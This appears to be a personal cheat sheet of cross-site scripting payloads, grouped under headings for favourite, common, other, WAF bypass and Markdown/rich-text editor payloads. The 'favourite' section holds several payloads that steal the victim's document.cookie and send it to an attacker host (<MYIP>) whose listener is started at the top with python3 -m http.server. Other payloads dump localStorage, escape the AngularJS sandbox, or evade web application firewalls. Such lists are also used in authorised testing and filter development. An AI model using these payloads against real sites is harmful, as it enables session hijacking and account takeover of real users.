Copy
## python3 -m http.server 80
## ------------------| My fav paylods
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(5)//');}}
<script>fetch("http://<MYIP>/favicon.ico?c="+document.cookie);</script>
<img src=x onerror=fetch("http://<MYIP>/favicon.ico?c="+document.cookie);>
<img src=x onerror=fetch("http://<MYIP>/favicon.ico?c="%2bbtoa(document.cookie));>
<img src=x onerror=fetch(`http://<MYIP>/favicon.ico?c=${btoa(document.cookie)}`);>
<script>new Image().src="http://<MYIP>/favicon.ico?c="+document.cookie;</script>
<img src=x onerror=this.src="http://<MYIP>/favicon.ico?c="+btoa(document.cookie)/>
<script>document.location="http://<MYIP>/favicon.ico?c="+document.cookie;</script>
<script>var i=new Image(); i.src="http://<MYIP>/favicon.ico?c="+btoa(document.cookie);</script>
<script>document.write('<img src="http://<MYIP>/favicon.ico?c='+document.cookie+'"/>')</script>
## ------------------| Common paylods
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efim)``>
<script>alert(123)</script>
<script>location.replace("https://h4rithd.com")</script>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src="x` `<script>document.write('<script src="http://<MYIP>/favicon.ico?c="></script>');</script>"` `>`
<script>alert(localStorage.authorizations)</script>
<script>alert(JSON.stringify(localStorage))</script>
<img src='https://127.0.0.1/fav.ico?t0k3n='+JSON.stringify(localStorage);'--!>
"/><script>alert(123)</script>
"/><IMG SRC=x onmouseover="alert('xss')">
<IMG SRC=x onmouseover="alert('xss')">
<img src=http://10.10.14.22/hit/>
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<script>location.replace("https://h4rithd.com")</script>
## ------------------| Other Paylods
<IMG onmouseover="alert('xss')">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC= onmouseover="alert('xss')">
<IMG SRC=# onmouseover="alert('xss')">
<IMG SRC=x onmouseover="alert('xss')">
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
\<a onmouseover="alert(document.cookie)"\>xss link\</a\>
\<a onmouseover=alert(document.cookie)\>xss link\</a\>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="javascript:alert('XSS')">
<IMG SRC=javascript:alert('XSS')>
{{constructor.constructor('alert(1)')()}}/
{{'test'.sub.constructor('alert(1)')()}}/
{{[].constructor.constructor('alert(1)')()}}/
{{'a'.constructor.prototype.trim.constructor('alert(1)')()}}/
<svg onload=alert(1)>/
{{'a'.constructor.prototype.trim.constructor('alert(1)')()}}/
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1)));alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1)}};alert(1)//');}}/
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(document.cookies)//');}}/
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(document.cookies)//');}}/
## ------------------| WAF Bypass
<svg on onload=(alert)(123)>
<svg onx=() onload=(confirm)(1)>
<x"/onclick=(confirm)()>h4rithd!
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img ignored=() src=x onerror=prompt(1)>
## ------------------| Markdown / Rich-Text Editor Payloads
[link](http://h4rithd.com "onmouseover=alert(1)")
[click](javascript:alert(1))
[click](JaVaScRiPt:alert(1))
[click](javascript://%0Aalert(1))
[click](data:text/html,<script>alert(1)</script>)
[click](data:text/html,<svg onload=alert(1)>)
)
)
)
)
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.domain)>
<img src=x onerror=alert(location.origin)>
<img src=x onerror=console.log('XSS-POC-'+location.origin)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><a href="javascript:alert(1)">x</a></svg>
<a href="javascript:alert(1)">click</a>
<a href="JaVaScRiPt:alert(1)">click</a>
<a href="data:text/html,<script>alert(1)</script>">click</a>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="javascript:alert(1)"></iframe>
<details open ontoggle=alert(1)>x</details>
<marquee onstart=alert(1)>x</marquee>
<table background="javascript:alert(1)">
<div style="background-image:url(javascript:alert(1))">x</div>
<math><mtext><img src=x onerror=alert(1)></mtext></math>
</p><img src=x onerror=alert(1)>
</div><svg onload=alert(1)>
</textarea><svg onload=alert(1)>
</title><img src=x onerror=alert(1)>
<video><source onerror="alert(1)">
<audio src=x onerror=alert(1)>
<form><button formaction="javascript:alert(1)">click</button></form>
[xss]: javascript:alert(1)
[click][xss]
<http://example.com/" onmouseover="alert(1)>